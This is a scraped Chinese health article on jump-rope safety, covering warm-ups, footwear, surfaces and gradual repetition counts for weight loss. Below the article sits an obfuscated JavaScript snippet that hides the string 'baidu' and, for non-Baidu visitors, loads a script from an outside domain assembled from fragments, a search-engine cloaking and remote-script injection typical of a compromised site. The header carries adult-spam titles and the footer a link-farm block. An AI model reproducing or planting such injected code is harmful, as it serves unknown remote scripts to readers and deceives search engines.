久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

跳繩應該注意什么呢?

2017-04-14 20:25:05  來源:360常識網   熱度:
導語:跳繩是一項非常簡單的運動,只要一根繩子,一小片的場地就可以讓人們盡情的運動。只要自己能夠堅持,就可以讓身體更加的健壯,而且還可以起

跳繩是一項非常簡單的運動,只要一根繩子,一小片的場地就可以讓人們盡情的運動。只要自己能夠堅持,就可以讓身體更加的健壯,而且還可以起到減肥的作用。在跳繩的時候還可以讓自己嘗試各種花樣,讓自己有一些全新的體驗,更可以增加自己跳繩的興趣。但是跳繩畢竟也是一種運動,在進行的時候要做好防護措施,以免身體受到傷害。

一、跳繩減肥要做好哪些防護措施

1、在跳繩子前先做暖身運動,活動一下手臂膝蓋、腳趾的關節,然后才開始跳。身體挺直但不要僵硬,兩眼直視前方,以腳掌著地(非腳跟),揮動繩子時,手臂不要晃動得太厲害。

2、選擇軟硬適中的草坪、木質地板和泥土地的場地較好,以免損傷關節,并易引起頭昏。如果在硬地上跳,必須穿厚的軟底鞋。

3、跳繩時需放松肌肉和關節,腳尖和腳跟需用力協調,防止扭傷。

4、身體比較肥胖者宜采用雙腳同時起落的跳法,以免關節負重而受傷。

5、跳繩前不可大量飲水,跳繩結束后不要馬上喝水,直至體溫和呼吸都恢復正常后,才可以補充水分。

6、跳繩者應穿質地軟、重量輕的高幫鞋,避免腳踝受傷。

二、跳繩次數要循序漸進

在正式開始跳繩減肥之前,要給身體一個適應的過程。剛開始每天跳60-100下,并分2-3次跳完,間隔休息1分鐘左右。以后每天逐漸增加次數,增加的幅度以不感覺過度疲勞為宜。當增加到每天400-500下時,就可以開始正式的跳繩減肥啦。以后每天保持跳每天400-500下,分2次進行,間隔休息1分鐘。跳躍的速度保持在每分鐘60-160次之間。

跳繩不但要注意循序漸進,在跳繩的時候運動量要適當,不要急于求成,過度的運動,以免導致身體受到傷害。而且在跳繩的時候穿上軟底鞋保護腳踝,運動的場地也要平坦,在運動后要注意及時的放松腿部,以免導致腿部酸痛或者肌肉的出現。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 中文字幕婷婷 | 太久视频网站 | av在线一区二区 | 麻豆精品 | 日韩成人免费视频 | 久久久www成人免费无遮挡大片 | 久草在线 | 国产超碰人人模人人爽人人添 | 成人在线免费观看 | 能看的黄色网址 | 中文字幕在线精品 | 国产精品18| 日韩在线欧美 | 久久99精品久久久久久按摩秒播 | 亚洲人人| 色十八 | 91精品久久| 亚洲福利国产 | 亚洲中字幕女 | 久久99精品久久久久久琪琪 | 精品国产一区二区 | 免费观看成人毛片 | 久久国产精品精品 | 人善交video另类hd国产片 | 性一交一乱一透一a级 | 国产色婷婷 | 精品在线一区二区 | 久久国产精品99久久久久久牛牛 | 国产伦精品一区二区 | 欧洲一级免费 | 欧美精品一区二区三区一线天视频 | 九九热视频在线 | 免费大黄网站 | 午夜三级在线 | 国产午夜久久 | 亚洲精品亚洲 | 美女天堂av | 欧美日韩国产高清视频 | 成人免费看片 | 一级一级国产片 | 久久一|